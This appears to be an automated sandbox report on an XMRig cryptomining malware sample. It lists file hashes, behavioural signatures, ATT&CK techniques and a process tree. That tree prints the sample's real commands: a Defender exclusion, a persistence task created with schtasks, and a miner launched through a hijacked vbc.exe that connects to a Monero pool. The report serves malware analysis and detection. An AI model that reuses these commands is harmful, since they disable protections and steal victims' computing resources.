xmrig | 58f91bbad5f643691f54434b42213c8a05cfbde5772d62bc38d5da13124ede9e

Analysis

max time kernel
253s
max time network
289s
platform
windows10-2004_x64
resource
win10v2004-20221111-en
resource tags

arch:x64arch:x86image:win10v2004-20221111-enlocale:en-usos:windows10-2004-x64system
submitted
23-11-2022 06:34

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General

Target

file.exe
Size

1.3MB
MD5

2248acb14f2a8ade2512a0ddb417e7ce
SHA1

7e082916c5909f2a2da10f493ce00ab1355d5df0
SHA256

58f91bbad5f643691f54434b42213c8a05cfbde5772d62bc38d5da13124ede9e
SHA512

5da704ecaf7fb968e8dd667937cceae70d5a29e99ce3d80b6a971aa79f4e9d9e51b73d9e0336533932560442a7b85d7aba67b4808d6971f61bf68381e8a18ec2
SSDEEP

24576:YwxwYTHwpeliJe4F6YYENDvgd+XYzoKqpBSi:YweYTQpelik4FrXN7XDVI

Score

10^/10

xmrig miner

Malware Config

Signatures

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 6 IoCs

miner

Processes:

resource	yara_rule
behavioral2/memory/1156-190-0x0000000140000000-0x00000001407C9000-memory.dmp	xmrig
behavioral2/memory/1156-192-0x0000000140343234-mapping.dmp	xmrig
behavioral2/memory/1156-193-0x0000000140000000-0x00000001407C9000-memory.dmp	xmrig
behavioral2/memory/1156-194-0x0000000140000000-0x00000001407C9000-memory.dmp	xmrig
behavioral2/memory/1156-196-0x0000000140000000-0x00000001407C9000-memory.dmp	xmrig
behavioral2/memory/1156-199-0x0000000140000000-0x00000001407C9000-memory.dmp	xmrig

Executes dropped EXE 1 IoCs

Processes:

OWT.exe

pid process

3572 OWT.exe
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.

Query Registry
T1012

System Information Discovery
T1082

Processes:

OWT.exe

description ioc process

Key value queried \REGISTRY\USER\S-1-5-21-2971393436-602173351-1645505021-1000\Control Panel\International\Geo\Nation OWT.exe
Uses the VBS compiler for execution 1 TTPs

Scripting
T1064
Suspicious use of SetThreadContext 1 IoCs

Processes:

OWT.exe

description pid process target process

PID 3572 set thread context of 1156 3572 OWT.exe vbc.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task
T1053

Processes:

schtasks.exe

pid process

3056 schtasks.exe
Delays execution with timeout.exe 1 IoCs
evasion

Processes:

timeout.exe

pid process

4160 timeout.exe
Suspicious behavior: EnumeratesProcesses 6 IoCs

Processes:

powershell.exepowershell.exeOWT.exe

pid process

4372 powershell.exe
4372 powershell.exe
2424 powershell.exe
2424 powershell.exe
3572 OWT.exe
3572 OWT.exe
Suspicious behavior: LoadsDriver 1 IoCs

Processes:

pid process

640

pid	process
3572	OWT.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-2971393436-602173351-1645505021-1000\Control Panel\International\Geo\Nation	OWT.exe

description	pid	process	target process
PID 3572 set thread context of 1156	3572	OWT.exe	vbc.exe

pid	process
3056	schtasks.exe

pid	process
4160	timeout.exe

pid	process
4372	powershell.exe
4372	powershell.exe
2424	powershell.exe
2424	powershell.exe
3572	OWT.exe
3572	OWT.exe

pid	process
640

Suspicious use of AdjustPrivilegeToken 6 IoCs

Processes:

file.exepowershell.exeOWT.exepowershell.exevbc.exe

description	pid	process
Token: SeDebugPrivilege	4464	file.exe
Token: SeDebugPrivilege	4372	powershell.exe
Token: SeDebugPrivilege	3572	OWT.exe
Token: SeDebugPrivilege	2424	powershell.exe
Token: SeLockMemoryPrivilege	1156	vbc.exe
Token: SeLockMemoryPrivilege	1156	vbc.exe

Suspicious use of FindShellTrayWindow 1 IoCs

Processes:

vbc.exe

pid process

1156 vbc.exe

pid	process
1156	vbc.exe

Suspicious use of WriteProcessMemory 28 IoCs

Processes:

file.execmd.exeOWT.execmd.exe

description	pid	process	target process
PID 4464 wrote to memory of 4372	4464	file.exe	powershell.exe
PID 4464 wrote to memory of 4372	4464	file.exe	powershell.exe
PID 4464 wrote to memory of 1356	4464	file.exe	cmd.exe
PID 4464 wrote to memory of 1356	4464	file.exe	cmd.exe
PID 1356 wrote to memory of 4160	1356	cmd.exe	timeout.exe
PID 1356 wrote to memory of 4160	1356	cmd.exe	timeout.exe
PID 1356 wrote to memory of 3572	1356	cmd.exe	OWT.exe
PID 1356 wrote to memory of 3572	1356	cmd.exe	OWT.exe
PID 3572 wrote to memory of 2424	3572	OWT.exe	powershell.exe
PID 3572 wrote to memory of 2424	3572	OWT.exe	powershell.exe
PID 3572 wrote to memory of 1936	3572	OWT.exe	cmd.exe
PID 3572 wrote to memory of 1936	3572	OWT.exe	cmd.exe
PID 1936 wrote to memory of 3056	1936	cmd.exe	schtasks.exe
PID 1936 wrote to memory of 3056	1936	cmd.exe	schtasks.exe
PID 3572 wrote to memory of 1156	3572	OWT.exe	vbc.exe
PID 3572 wrote to memory of 1156	3572	OWT.exe	vbc.exe
PID 3572 wrote to memory of 1156	3572	OWT.exe	vbc.exe
PID 3572 wrote to memory of 1156	3572	OWT.exe	vbc.exe
PID 3572 wrote to memory of 1156	3572	OWT.exe	vbc.exe
PID 3572 wrote to memory of 1156	3572	OWT.exe	vbc.exe
PID 3572 wrote to memory of 1156	3572	OWT.exe	vbc.exe
PID 3572 wrote to memory of 1156	3572	OWT.exe	vbc.exe
PID 3572 wrote to memory of 1156	3572	OWT.exe	vbc.exe
PID 3572 wrote to memory of 1156	3572	OWT.exe	vbc.exe
PID 3572 wrote to memory of 1156	3572	OWT.exe	vbc.exe
PID 3572 wrote to memory of 1156	3572	OWT.exe	vbc.exe
PID 3572 wrote to memory of 1156	3572	OWT.exe	vbc.exe
PID 3572 wrote to memory of 1156	3572	OWT.exe	vbc.exe

C:\Users\Admin\AppData\Local\Temp\file.exe
"C:\Users\Admin\AppData\Local\Temp\file.exe"
1⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4464

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"powershell" -Command Add-MpPreference -ExclusionPath 'C:\ProgramData'
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4372

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmp333B.tmp.bat""
2⤵
- Suspicious use of WriteProcessMemory
PID:1356

C:\Windows\system32\timeout.exe
timeout 3
3⤵
- Delays execution with timeout.exe
PID:4160

C:\ProgramData\winrar\OWT.exe
"C:\ProgramData\winrar\OWT.exe"
3⤵
- Executes dropped EXE
- Checks computer location settings
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3572

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"powershell" -Command Add-MpPreference -ExclusionPath 'C:\ProgramData'
4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2424

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "OWT" /tr "C:\ProgramData\winrar\OWT.exe"
4⤵
- Suspicious use of WriteProcessMemory
PID:1936

C:\Windows\system32\schtasks.exe
schtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "OWT" /tr "C:\ProgramData\winrar\OWT.exe"
5⤵
- Creates scheduled task(s)
PID:3056

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe -o xmr-eu1.nanopool.org:14433 -u 4BrL51JCc9NGQ71kWhnYoDRffsDZy7m1HUU7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQoBJqYKAGMEQrLE8L8 --tls --coin monero
4⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
PID:1156

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Scheduled Task

T1053

Scripting

T1064

Persistence

Scheduled Task

T1053

Privilege Escalation

Scheduled Task

T1053

Defense Evasion

Scripting

T1064

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\ProgramData\winrar\OWT.exe

Filesize
1.3MB

MD5
2248acb14f2a8ade2512a0ddb417e7ce

SHA1
7e082916c5909f2a2da10f493ce00ab1355d5df0

SHA256
58f91bbad5f643691f54434b42213c8a05cfbde5772d62bc38d5da13124ede9e

SHA512
5da704ecaf7fb968e8dd667937cceae70d5a29e99ce3d80b6a971aa79f4e9d9e51b73d9e0336533932560442a7b85d7aba67b4808d6971f61bf68381e8a18ec2

Download Submit
C:\ProgramData\winrar\OWT.exe

Filesize
1.3MB

MD5
2248acb14f2a8ade2512a0ddb417e7ce

SHA1
7e082916c5909f2a2da10f493ce00ab1355d5df0

SHA256
58f91bbad5f643691f54434b42213c8a05cfbde5772d62bc38d5da13124ede9e

SHA512
5da704ecaf7fb968e8dd667937cceae70d5a29e99ce3d80b6a971aa79f4e9d9e51b73d9e0336533932560442a7b85d7aba67b4808d6971f61bf68381e8a18ec2

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
d85ba6ff808d9e5444a4b369f5bc2730

SHA1
31aa9d96590fff6981b315e0b391b575e4c0804a

SHA256
84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

SHA512
8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
6d3e9c29fe44e90aae6ed30ccf799ca8

SHA1
c7974ef72264bbdf13a2793ccf1aed11bc565dce

SHA256
2360634e63e8f0b5748e2c56ebb8f4aa78e71008ea7b5c9ca1c49be03b49557d

SHA512
60c38c4367352537545d859f64b9c5cbada94240478d1d039fd27b5ecba4dc1c90051557c16d802269703b873546ead416279c0a80c6fd5e49ad361cef22596a

Download Submit
C:\Users\Admin\AppData\Local\Temp\tmp333B.tmp.bat

Filesize
138B

MD5
eb57d04c281a81a5eeb9187a2f066812

SHA1
344664f63647da5de514d808ac91cd4f105288e1

SHA256
55fc9fe6880ee496c631ef4a946049f7b62d6efe36959b7df791bd561434ea07

SHA512
5b8a5db63a9908ad415343e6ce5ff23166bb7ffe948c3dec26650b76d96a84545c28bba2cc1cac84f6331d9737671934c6dcd26a5f877e58e843a30cb88971b8

Download Submit
memory/1156-190-0x0000000140000000-0x00000001407C9000-memory.dmp

Filesize
7.8MB

Download
memory/1156-202-0x0000020D8C840000-0x0000020D8C860000-memory.dmp

Filesize
128KB

Download
memory/1156-196-0x0000000140000000-0x00000001407C9000-memory.dmp

Filesize
7.8MB

Download
memory/1156-195-0x0000020D8C790000-0x0000020D8C7B0000-memory.dmp

Filesize
128KB

Download
memory/1156-194-0x0000000140000000-0x00000001407C9000-memory.dmp

Filesize
7.8MB

Download
memory/1156-193-0x0000000140000000-0x00000001407C9000-memory.dmp

Filesize
7.8MB

Download
memory/1156-192-0x0000000140343234-mapping.dmp

Download
memory/1156-200-0x0000020D8C7E0000-0x0000020D8C820000-memory.dmp

Filesize
256KB

Download
memory/1156-201-0x0000020D8C820000-0x0000020D8C840000-memory.dmp

Filesize
128KB

Download
memory/1156-199-0x0000000140000000-0x00000001407C9000-memory.dmp

Filesize
7.8MB

Download
memory/1156-204-0x0000020D8C840000-0x0000020D8C860000-memory.dmp

Filesize
128KB

Download
memory/1156-203-0x0000020D8C820000-0x0000020D8C840000-memory.dmp

Filesize
128KB

Download
memory/1356-148-0x0000000000000000-mapping.dmp

Download
memory/1936-176-0x0000000000000000-mapping.dmp

Download
memory/2424-180-0x00007FF870EE0000-0x00007FF8719A1000-memory.dmp

Filesize
10.8MB

Download
memory/2424-175-0x00007FF870EE0000-0x00007FF8719A1000-memory.dmp

Filesize
10.8MB

Download
memory/2424-181-0x00007FF870EE0000-0x00007FF8719A1000-memory.dmp

Filesize
10.8MB

Download
memory/2424-174-0x0000000000000000-mapping.dmp

Download
memory/3056-177-0x0000000000000000-mapping.dmp

Download
memory/3572-186-0x00007FF881820000-0x00007FF881855000-memory.dmp

Filesize
212KB

Download
memory/3572-173-0x00007FF870EE0000-0x00007FF8719A1000-memory.dmp

Filesize
10.8MB

Download
memory/3572-157-0x0000000000000000-mapping.dmp

Download
memory/3572-161-0x00007FF872540000-0x00007FF8725EA000-memory.dmp

Filesize
680KB

Download
memory/3572-162-0x00007FF88F4E0000-0x00007FF88F57E000-memory.dmp

Filesize
632KB

Download
memory/3572-163-0x00007FF88B450000-0x00007FF88B462000-memory.dmp

Filesize
72KB

Download
memory/3572-164-0x00007FF870E20000-0x00007FF870EDD000-memory.dmp

Filesize
756KB

Download
memory/3572-165-0x00007FF88E900000-0x00007FF88EAA1000-memory.dmp

Filesize
1.6MB

Download
memory/3572-166-0x00007FF870EE0000-0x00007FF8719A1000-memory.dmp

Filesize
10.8MB

Download
memory/3572-167-0x00007FF88F5F0000-0x00007FF88F61B000-memory.dmp

Filesize
172KB

Download
memory/3572-168-0x00000000000C0000-0x000000000027A000-memory.dmp

Filesize
1.7MB

Download
memory/3572-171-0x00000000000C0000-0x000000000027A000-memory.dmp

Filesize
1.7MB

Download
memory/3572-170-0x00000000029D0000-0x0000000002A12000-memory.dmp

Filesize
264KB

Download
memory/3572-172-0x00007FF872010000-0x00007FF87215E000-memory.dmp

Filesize
1.3MB

Download
memory/3572-169-0x00000000000C0000-0x000000000027A000-memory.dmp

Filesize
1.7MB

Download
memory/3572-188-0x00007FF88F580000-0x00007FF88F5EB000-memory.dmp

Filesize
428KB

Download
memory/3572-187-0x00007FF888F60000-0x00007FF889062000-memory.dmp

Filesize
1.0MB

Download
memory/3572-189-0x00007FF88C900000-0x00007FF88C93B000-memory.dmp

Filesize
236KB

Download
memory/3572-185-0x00007FF88DD20000-0x00007FF88DD47000-memory.dmp

Filesize
156KB

Download
memory/3572-198-0x00007FF870EE0000-0x00007FF8719A1000-memory.dmp

Filesize
10.8MB

Download
memory/3572-178-0x00000000000C0000-0x000000000027A000-memory.dmp

Filesize
1.7MB

Download
memory/3572-179-0x00007FF870EE0000-0x00007FF8719A1000-memory.dmp

Filesize
10.8MB

Download
memory/3572-197-0x00000000000C0000-0x000000000027A000-memory.dmp

Filesize
1.7MB

Download
memory/3572-191-0x00007FF873040000-0x00007FF8731AA000-memory.dmp

Filesize
1.4MB

Download
memory/4160-155-0x0000000000000000-mapping.dmp

Download
memory/4372-147-0x0000000000000000-mapping.dmp

Download
memory/4372-156-0x00007FF870EE0000-0x00007FF8719A1000-memory.dmp

Filesize
10.8MB

Download
memory/4372-184-0x00007FF870EE0000-0x00007FF8719A1000-memory.dmp

Filesize
10.8MB

Download
memory/4372-152-0x0000023461820000-0x0000023461842000-memory.dmp

Filesize
136KB

Download
memory/4372-153-0x00007FF870EE0000-0x00007FF8719A1000-memory.dmp

Filesize
10.8MB

Download
memory/4464-149-0x00000000001E0000-0x000000000039A000-memory.dmp

Filesize
1.7MB

Download
memory/4464-133-0x00007FF872540000-0x00007FF8725EA000-memory.dmp

Filesize
680KB

Download
memory/4464-146-0x00007FF870EE0000-0x00007FF8719A1000-memory.dmp

Filesize
10.8MB

Download
memory/4464-145-0x00000000001E0000-0x000000000039A000-memory.dmp

Filesize
1.7MB

Download
memory/4464-144-0x00007FF870EE0000-0x00007FF8719A1000-memory.dmp

Filesize
10.8MB

Download
memory/4464-142-0x00000000001E0000-0x000000000039A000-memory.dmp

Filesize
1.7MB

Download
memory/4464-143-0x0000000003090000-0x00000000030D2000-memory.dmp

Filesize
264KB

Download
memory/4464-140-0x00000000001E0000-0x000000000039A000-memory.dmp

Filesize
1.7MB

Download
memory/4464-141-0x000000001C470000-0x000000001C5BE000-memory.dmp

Filesize
1.3MB

Download
memory/4464-150-0x0000000003090000-0x00000000030D2000-memory.dmp

Filesize
264KB

Download
memory/4464-151-0x00007FF870EE0000-0x00007FF8719A1000-memory.dmp

Filesize
10.8MB

Download
memory/4464-139-0x00007FF88F5F0000-0x00007FF88F61B000-memory.dmp

Filesize
172KB

Download
memory/4464-138-0x00007FF870EE0000-0x00007FF8719A1000-memory.dmp

Filesize
10.8MB

Download
memory/4464-137-0x00007FF88E900000-0x00007FF88EAA1000-memory.dmp

Filesize
1.6MB

Download
memory/4464-136-0x00007FF870E20000-0x00007FF870EDD000-memory.dmp

Filesize
756KB

Download
memory/4464-135-0x00007FF88B450000-0x00007FF88B462000-memory.dmp

Filesize
72KB

Download
memory/4464-134-0x00007FF88F4E0000-0x00007FF88F57E000-memory.dmp

Filesize
632KB

Download